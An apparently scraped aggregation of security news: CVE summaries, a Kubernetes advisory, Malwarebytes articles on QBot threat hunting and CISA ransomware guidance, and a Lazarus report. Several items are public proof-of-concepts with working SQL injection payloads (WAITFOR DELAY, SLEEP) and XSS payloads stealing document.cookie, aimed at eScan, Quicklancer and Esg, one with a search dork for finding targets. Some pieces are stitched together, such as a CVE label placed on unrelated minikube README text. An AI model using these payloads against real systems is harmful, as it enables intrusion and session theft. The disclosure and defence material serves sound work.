A vulnerability classified as problematic has been found in FlexiHub 5.5.14691.0. This affects the function 0x220088 in the library fusbhub.sys of the component IoControlCode Handler. The manipulation leads to null pointer dereference. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-229851. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

CVE-2023-2872: WindowsKernelVuln/unassigned45 at master · zeze-zeze/WindowsKernelVuln

This vulnerability enables ssh access to minikube container using a default password.

**minikube**

   

minikube implements a local Kubernetes cluster on macOS, Linux, and Windows. minikube's primary goals are to be the best tool for local Kubernetes application development and to support all Kubernetes features that fit.

**Features**

minikube runs the latest stable release of Kubernetes, with support for standard Kubernetes features like:

*   LoadBalancer - using minikube tunnel
*   Multi-cluster - using minikube start -p <name>
*   NodePorts - using minikube service
*   Persistent Volumes
*   Ingress
*   Dashboard - minikube dashboard
*   Container runtimes - minikube start --container-runtime
*   Configure apiserver and kubelet options via command-line flags
*   Supports common CI environments

As well as developer-friendly features:

*   Addons - a marketplace for developers to share configurations for running services on minikube
*   NVIDIA GPU support - for machine learning
*   Filesystem mounts

**For more information, see the official minikube website**

**Installation**

See the Getting Started Guide

📣 **Please fill out our fast 5-question survey** so that we can learn how & why you use minikube, and what improvements we should make. Thank you! 👯

**Documentation**

See https://minikube.sigs.k8s.io/docs/

**More Examples**

See minikube in action here

**Community**

minikube is a Kubernetes #sig-cluster-lifecycle project.

*   **#minikube on Kubernetes Slack** - Live chat with minikube developers!
    
*   minikube-users mailing list
    
*   minikube-dev mailing list
    
*   Contributing
    
*   Development Roadmap
    

Join our meetings:

*   Bi-weekly office hours, Mondays @ 11am PST
*   Triage Party

CVE-2023-1944: GitHub - kubernetes/minikube: Run Kubernetes locally

Windows workloads can run as ContainerAdministrator even when those workloads set the runAsNonRoot option to true.

Hello Kubernetes Community,

A security issue was discovered in Kubernetes that could allow Windows workloads to run as ContainerAdministrator even when those workloads set the runAsNonRoot option to true .  

This issue has been rated low and assigned CVE-2021-25749

**Am I vulnerable?**

All Kubernetes clusters with following versions, running Windows workloads with runAsNonRoot are impacted.

**Affected Versions**

*   kubelet v1.20 - v1.21
*   kubelet v1.22.0 - v1.22.13
*   kubelet v1.23.0 - v1.23.10
*   kubelet v1.24.0 - v1.24.4

**How do I mitigate this vulnerability?**

There are no known mitigations to this vulnerability.

**Fixed Versions**

*   kubelet v1.22.14
*   kubelet v1.23.11
*   kubelet v1.23.5
*   kubelet v1.25.0

To upgrade, refer to this documentation. _For core Kubernetes:_ https://kubernetes.io/docs/tasks/administer-cluster/cluster-management/#upgrading-a-cluster

**Detection**

Kubernetes Audit logs may indicate if the user name was misspelled to bypass the restriction placed on which user is a pod allowed to run as.

If you find evidence that this vulnerability has been exploited, please contact secu...@kubernetes.io

**Additional Details**

See the GitHub issue for more details: https://github.com/kubernetes/kubernetes/issues/112192

**Acknowledgements**

This vulnerability was reported and fixed by Mark Rosetti (@marosset)

Thank You,

Pushkar Joglekar on behalf of the Kubernetes Security Response Committee

CVE-2021-25749: [Security Advisory] CVE-2021-25749: runAsNonRoot logic bypass for Windows containers

eScan Management Console version 14.0.1400.2281 suffers from a remote SQL injection vulnerability.

    # Exploit Title: eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated)# Date: 16/05/2023# Exploit Author: Sahil Ojha# Vendor Homepage: https://www.escanav.com# Software Link: https://cl.escanav.com/ewconsole.dll# Version: 14.0.1400.2281# Tested on: Windows# CVE : CVE-2023-31702*Step of Reproduction/Proof of concept(POC)*1. Login into the escan management console with a valid username andpassword as root user.2. Navigate to URL:https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=41763. Inject the payload into the UsrId parameter to confirm the SQLinjection as shown below:https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFORDELAY '0:0:5'--&cnt=41764. The time delay of 5 seconds confirmed that "UsrId" parameter wasvulnerable to SQL Injection. Furthermore, it was also possible to dumpall the databases and inject OS shell directly into the MS SQL Serverusing SQLMap tool.

eScan Management Console 14.0.1400.2281 SQL Injection

eScan Management Console version 14.0.1400.2281 suffers from a cross site scripting vulnerability.

    # Exploit Title: eScan Management Console 14.0.1400.2281 - Cross Site Scripting# Date: 2023-05-16# Exploit Author: Sahil Ojha# Vendor Homepage: https://www.escanav.com# Software Link: https://cl.escanav.com/ewconsole.dll# Version: 14.0.1400.2281# Tested on: Windows# CVE : CVE-2023-31703*Step of Reproduction/ Proof of Concept(POC)*1. Login into the eScan Management Console with a valid user credential.2. Navigate to URL:https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from=banner&P=3. Now, Inject the Cross Site Scripting Payload in "from" parameter asshown below and a valid XSS pop up appeared.https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from="><script>alert(document.cookie)</script>banner&P=4. By exploiting this vulnerability, any arbitrary attacker could havestolen an admin user session cookie to perform account takeover.

eScan Management Console 14.0.1400.2281 Cross Site Scripting

Quicklancer version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Quicklancer v1.0 - SQL Injection# Date: 2023-05-17# Exploit Author: Ahmet Ümit BAYRAM# Vendor:https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135# Demo Site: https://quicklancer.bylancer.com# Tested on: Kali Linux# CVE: N/A### Request ###POST /php/user-ajax.php HTTP/1.1Content-Type: application/x-www-form-urlencodedAccept: */*x-requested-with: XMLHttpRequestReferer: https://localhostCookie: sec_session_id=12bcd985abfc52d90489a6b5fd8219b2;quickjob_view_counted=31; Quick_lang=arabicContent-Length: 93Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: localhostConnection: Keep-aliveaction=searchStateCountry&dataString=deneme### Parameter & Payloads ###Parameter: dataString (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: action=searchStateCountry&dataString=deneme' AND (SELECT 8068FROM (SELECT(SLEEP(5)))qUdx) AND 'nbTo'='nbTo

Quicklancer 1.0 SQL Injection

Esg version 2.5 suffers from a cross site scripting vulnerability.

**Esg 2.5 Cross Site Scripting**

Posted May 24, 2023

Authored by indoushka

Esg version 2.5 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | af04171eca15deed52f8552f83c674dd50fbac0bfc4810eb316c96bde1b17488

Download | Favorite | View

**Esg 2.5 Cross Site Scripting**

    ===========================================================================================| # Title     : Esg 2.5 XSS Vulnerability                                                 || # Author    : indoushka                                                                 || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit)     | | # Vendor    : https://www.creatop.com.tw/esg                                            |  | # Dork      : Powered by CREATOP                                                        |===========================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /en/news/news.php?page=1&tayear=2023'"()%26%25<script>alert(/indoushka/);</script>[+] http://www.127.0.0.1/vitaltec.com.tw/en/news/news.php?page=1&tayear=2023'"()%26%25<script>alert(/indoushka/);</script>Greetings to :===================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet|=================================================================================================

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Esg 2.5 Cross Site Scripting

Categories: Business
How Malwarebytes MDR successfully helped a company detect and respond to the potent banking Trojan QBot.



(Read more...)




The post Tracking down a trojan: An inside look at threat hunting in a corporate network appeared first on Malwarebytes Labs.

At Malwarebytes, we talk a lot about the importance of threat hunting for SMBs—and not for no good reason, either. Just consider the fact that, when a threat actor breaches a network, they don’t attack right away. The median amount of time between system compromise and detection is 21 days.

By that time, it’s often too late. Data has been harvested or ransomware has been deployed.

Threat hunting helps find and remediate highly-obfuscated threats like these that quietly lurk in the network, siphoning off confidential data and searching for credentials to access the “keys to the kingdom.”

The bad news for small-to-medium sized businesses (SMBs): Manually intensive and costly threat-hunting tools usually restrict this practice to larger organizations with an advanced cybersecurity model and a well-staffed security operations center (SOC).

That’s where Malwarebytes Managed Detection and Response (MDR) comes in.

Malwarebytes MDR is a service that provides around-the-clock monitoring of an organization’s environment for signs of a cyberattack.

But talk is cheap: let’s look at a real time where Malwarebytes MDR successfully helped a company detect and respond to a potent banking Trojan known as QBot.

**The Incident**

On a date left undisclosed for security reasons, a reputable oil and gas company we’ll refer to as Company 1 experienced an intrusion in their network. The culprit was **Qakbot** (also known as QBot).

QBot is notorious for its abilities to steal sensitive information, like login credentials, financial data, and personal information, and even create backdoors for additional malware to infiltrate the compromised system. What's more, it also facilitates remote access to the compromised machines.

QBot has recently been observed being distributed as part of a phishing campaign using PDFs and Windows Script Files (WSF).

The QBot campaign illustrated (Source: Jerome Segura | Malwarebytes Labs)

QBot attacks start with a reply-chain phishing email, when threat actors reply to a chain of emails with a malicious link or attachment.

A sample reply-chain phishing email in French, carrying a PDF attachment disguised as a cancellation letter. (Source: BleepingComputer)

Once someone in the email chain opens the attached PDF, they see a message saying, "This document contains protected files, to display them, click on the 'open' button." Clicking the button downloads a ZIP file containing the WSF script.

The heavily obfuscated script contains a mix of JS and VBScript code that, when run, triggers a PowerShell that then downloads the QBot DLL from a list of hardcoded URLs. This script tries each URL until a file is downloaded to the Windows Temp folder (%TEMP%) and executed.

Once QBot runs, it issues a PING command to check for an internet connection. It then injects itself into wermgr.exe, a legitimate Windows Error Manager program, to run quietly in the background.

**The Infection**

The initial infection at Company 1 was traced to a laptop in their network.The Qakbot malware used **Windows Script File (WSF), executed by WSCRIPT.EXE, to launch a PowerShell script encoded in Base64.**

The Process Graph tile under the Suspicious Activity page in Nebula shows a visual representation of the files or processes touched by the suspicious activity.

Clicking on the node to view more details, we see WSCRIPT.EXE was used to execute a Windows Script File, which spawned an instance of PS executing a Base64 encoded command.

Node detail showing malicious encoded PowerShell script.

This script was designed to be patient and stealthy.

It first initiated a waiting period of 4 seconds before creating an array of URLs, presumably leading to malicious websites. The malware then attempted to download a file from each URL, with each file being checked for a minimum size of 100,000 bytes, implying a meaningful content requirement. If a download failed, the script would wait for 4 seconds before moving to the next URL.

The downloaded files were executed using the **RUNDLL32.EXE Windows utility, which was invoked from the PowerShell instance**. This allowed the downloaded file, dubbed "**FreeformOzarkite.marseillais**," to load and execute its malicious payload.

RUNDLL32.EXE was invoked from the previous instance of PowerShell to execute a malicious payload or module that is stored in the file "FreeformOzarkite.marseillais" in the temporary folder of the infected user. 

**The Malicious DLL**

A specific DLL file, identified as **zibkwyxdtpcrqshpuqkoomcoba.dll**, was found to be one of the malicious codes executed by the Qakbot infection.

Node detail showing the malicious DLL is executed (zibkwyxdtpcrqshpuqkoomcoba.dll).

Decomposition of this DLL revealed several nefarious functions, including:

*   Code injection into other processes.
*   Harvesting of sensitive data, like Chrome and Outlook passwords, Wi-Fi passwords, and Bitcoin wallets.
*   Capturing screenshots.
*   Modifying system settings, like disabling the User Account Control (UAC), to make the system more vulnerable to further attacks.
*   Communication with a remote command and control (C&C) server for data exfiltration and remote command execution.

The team also saw system enumeration utilizing **WHOAMI.EXE** and **IPCONFIG.EXE**:

*   whoami /all
*   ipconfig /all

**Data Exfiltration and Remediation**

The malware attempted to send the collected data to a known Qakbot C2 IP address. This is presumably where the stolen data would be accumulated and analyzed by the malicious actors.

However, the Malwarebytes MDR team promptly **detected and contained this threat**, taking steps such as cleaning the system of the infection, informing Company 1 of the incident, and providing actionable recommendations to prevent future compromises.

**Threat hunting with MDR**

How Malwarebytes MDR works

Threat hunting is essential for small-and-medium-sized businesses, as attackers can potentially remain undetected for over two weeks after compromising a network.

Unfortunately, threat hunting is complicated and requires a dedicated SOC and seasoned cybersecurity staff, barring most SMBs from utilizing this important security practice. 

In this article, we’ve outlined the significant role that Malwarebytes MDR can play in **uncovering, managing, and remediating threats like Qakbot**, helping you avoid business disruption and financial loss.

Want to learn more about Malwarebytes MDR and threat hunting? Click the link below for a quote. 

**Stop Qbot attacks today**

Tracking down a trojan: An inside look at threat hunting in a corporate network

The infamous Lazarus Group actor has been targeting vulnerable versions of Microsoft Internet Information Services (IIS) servers as an initial breach route to deploy malware on targeted systems.
The findings come from the AhnLab Security Emergency response Center (ASEC), which detailed the advanced persistent threat's (APT) continued abuse of DLL side-loading techniques to deploy malware.
"The

Cyber Espionage / Server Security

The infamous **Lazarus Group** actor has been targeting vulnerable versions of Microsoft Internet Information Services (IIS) servers as an initial breach route to deploy malware on targeted systems.

The findings come from the AhnLab Security Emergency response Center (ASEC), which detailed the advanced persistent threat's (APT) continued abuse of DLL side-loading techniques to deploy malware.

"The threat actor places a malicious DLL (msvcr100.dll) in the same folder path as a normal application (Wordconv.exe) via the Windows IIS web server process, w3wp.exe," ASEC explained. "They then execute the normal application to initiate the execution of the malicious DLL."

DLL side-loading, similar to DLL search-order hijacking, refers to the proxy execution of a rogue DLL via a benign binary planted in the same directory.

Lazarus, a highly-capable and relentless nation-state group linked to North Korea, was most recently spotted leveraging the same technique in connection with the cascading supply chain attack on enterprise communications service provider 3CX.

The malicious msvcr100.dll library, for its part, is designed to decrypt an encoded payload that's then executed in memory. The malware is said to be a variant of a similar artifact that was discovered by ASEC last year and which acted as a backdoor to communicate with an actor-controlled server.

The attack chain further entailed the exploitation of a discontinued open source Notepad++ plugin called Quick Color Picker to deliver additional malware in order to facilitate credential theft and lateral movement.

The latest development demonstrates the diversity of Lazarus attacks and its ability to employ an extensive set of tools against victims to carry out long-term espionage operations.

"In particular, since the threat group primarily utilizes the DLL side-loading technique during their initial infiltrations, companies should proactively monitor abnormal process execution relationships and take preemptive measures to prevent the threat group from carrying out activities such as information exfiltration and lateral movement," ASEC said.

**U.S. Treasury Sanctions North Korean Entities**

The findings also come as the U.S. Treasury Department sanctioned four entities and one individual involved in malicious cyber activities and fundraising schemes that aim to support North Korea's strategic priorities.

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This includes the Pyongyang University of Automation, the Technical Reconnaissance Bureau and its subordinate cyber unit, the 110th Research Center, Chinyong Information Technology Cooperation Company, and a North Korean national named Kim Sang Man.

The Lazarus Group and its various clusters are believed to be operated by the Technical Reconnaissance Bureau, which oversees North Korea's development of offensive cyber tactics and tools.

The sanctions-hit nation, besides engaging in crypto currency theft and espionage operations, is known to generate illicit revenue from a workforce of skilled IT workers who pose under fictitious identities to obtain jobs in the technology and virtual currency sectors across the world.

"The DPRK conducts malicious cyber activities and deploys information technology (IT) workers who fraudulently obtain employment to generate revenue, including in virtual currency, to support the Kim regime and its priorities, such as its unlawful weapons of mass destruction and ballistic missile programs," the department said.

"These workers deliberately obfuscate their identities, locations, and nationalities, typically using fake personas, proxy accounts, stolen identities, and falsified or forged documentation to apply for jobs at these companies."

"They earn hundreds of millions of dollars a year by engaging in a wide range of IT development work, including freelance work platforms (websites/applications) and cryptocurrency development, after obtaining freelance employment contracts from companies around the world," the South Korean government warned in December 2022.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

N. Korean Lazarus Group Targets Microsoft IIS Servers to Deploy Espionage Malware

Categories: News
Categories: Ransomware
Tags: CISA

Tags:  StopRansomware

Tags:  guide

Tags:  ZTA

Tags:  compromised

Tags:  cloud

Tags:  MDR

CISA has updated its #StopRansomware guide to account for changes in ransomware tactics and techniques.



(Read more...)




The post CISA updates ransomware guidance appeared first on Malwarebytes Labs.

Posted: May 24, 2023 by

The Cybersecurity and Infrastructure Security Agency (CISA) has updated its #StopRansomware guide to account for the fact that ransomware actors have accelerated their tactics and techniques since the original guide was released in September of 2020.

The #StopRansomware guide is set up as a one-stop resource to help organizations reduce the risk of ransomware incidents through best practices to detect, prevent, respond, and recover from them, including step-by-step approaches to address potential attacks.

Specifically, the agency added:

*   Recommendations for preventing common initial infection vectors
*   Updated recommendations to address cloud backups and zero trust architecture (ZTA).
*   Threat hunting tips for detection and analysis of ransomware actors

Since the CISA list of recommendations is huge we will focus on the new points, with links to further Malwarebytes resources, and add our own set of recommendations at the end.

**Updated CISA guidance**

*   **Limit the use of RDP and other remote desktop services.** If RDP is necessary, apply best practices. Threat actors often gain initial access to a network through exposed and poorly secured remote services, and later traverse the network using the native Windows RDP client. Threat actors also often gain access by exploiting virtual private networks (VPNs) or using compromised credentials.
*   **Implement phishing-resistant multi-factor authentication (MFA) for all services,** particularly for email, VPNs, and accounts that access critical systems. Escalate to senior management upon discovery of systems that do not allow MFA, systems that do not enforce MFA, and any users who are not enrolled with MFA.
*   **Consider employing password-less MFA** that replace passwords with two or more verification factors (e.g., a fingerprint, facial recognition, device pin, or a cryptographic key).
*   **Consider subscribing to services** that monitor the dark web for compromised credentials.
*   **Create policies to include cybersecurity awareness training** about advanced forms of social engineering for personnel that have access to your network. Training should include tips on being able to recognize illegitimate websites and search results. It is also important to repeat security awareness training regularly to keep your staff informed and vigilant.
*   **Consider using a multi-cloud solution** to avoid vendor lock-in for cloud-to-cloud backups in case all accounts under the same vendor are impacted.
*   **Implement a zero trust architecture (ZTA) to prevent unauthorized access to data and services.** Make access control enforcement as granular as possible. ZTA assumes a network is compromised and provides a collection of concepts and ideas designed to minimize uncertainty in enforcing accurate, least privilege per request access decisions in information systems and services.
*   **Employ logical or physical means of network segmentation by implementing ZTA** and separating various business units or departmental IT resources within your organization and maintain separation between IT and operational technology.

CISA consider the following to be advanced forms of social engineering:

*   Search Engine Optimization (SEO) poisoning.
*   Drive-by-downloads.
*   Malvertising.

For organizations that have their own threat hunters and do not use an external Managed Detection and Response (MDR) service, CISA added the following points for enterprise and cloud environments.

**For enterprise environments**

*   Newly created Active Directory accounts or accounts with escalated privileges, and recent activity related to privileged accounts such as Domain Admins.
*   Anomalous VPN device logins or other suspicious logins.
*   Endpoint modifications that may impair backups, shadow copy, disk journaling, or boot configurations. Look for anomalous usage of built-in Windows tools such as _bcdedit.exe, fsutil.exe_ (deletejournal), _vssadmin.exe, wbadmin.exe_, and _wmic.exe_ (shadowcopy or shadowstorage). Misuse of these tools is a common ransomware technique to inhibit system recovery.
*   Signs of the presence of Cobalt Strike beacon/client. Cobalt Strike is a commercial penetration testing software suite. Malicious actors often name Cobalt Strike Windows processes with the same names as legitimate Windows processes to obfuscate their presence and complicate investigations.
*   Signs of any unexpected usage of remote monitoring and management (RMM) software (including portable executables that are not installed). RMM software is commonly used by malicious actors to maintain persistence.
*   Any unexpected PowerShell execution or use of PsTools suite.
*   Signs of enumeration of AD and/or LSASS credentials being dumped (e.g., Mimikatz or _NTDSutil.exe_).
*   Signs of unexpected endpoint-to-endpoint (including servers) communications.
*   Potential signs of data being exfiltrated from the network. Common tools for data exfiltration include Rclone, Rsync, various web-based file storage services (also used by threat actors to implant malware/tools on the affected network), and FTP/SFTP.
*   Newly created services, unexpected scheduled tasks, unexpected software installed, etc.

****For cloud environments****

*   Enable tools to detect and prevent modifications to IAM, network security, and data protection resources.
*   Use automation to detect common issues (e.g., disabling features, introduction of new firewall rules) and take automated actions as soon as they occur. For example, if a new firewall rule is created that allows open traffic (0.0.0.0/0), an automated action can be taken to disable or delete this rule and send notifications to the user that created it as well as the security team for awareness. This will help avoid alert fatigue and allow security personnel to focus on critical issues.

**Malwarebytes’ tips to avoid ransomware**

*   **Block common forms of entry.** Create a plan for patching vulnerabilities in internet-facing systems quickly; and disable or harden remote access like RDP and VPNs.
*   **Prevent intrusions.** Stop threats early before they can even infiltrate or infect your endpoints. Use endpoint security software that can prevent exploits and malware used to deliver ransomware.
*   **Detect intrusions.** Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
*   **Stop malicious encryption.** Deploy Endpoint Detection and Response software like Malwarebytes EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
*   **Create offsite, offline backups.** Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
*   **Don’t get attacked twice.** Once you've isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

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**RELATED ARTICLES**

**ABOUT THE AUTHOR**

Pieter Arntz  
Malware Intelligence Researcher

Was a Microsoft MVP in consumer security for 12 years running. Can speak four languages. Smells of rich mahogany and leather-bound books.

Tag

#windows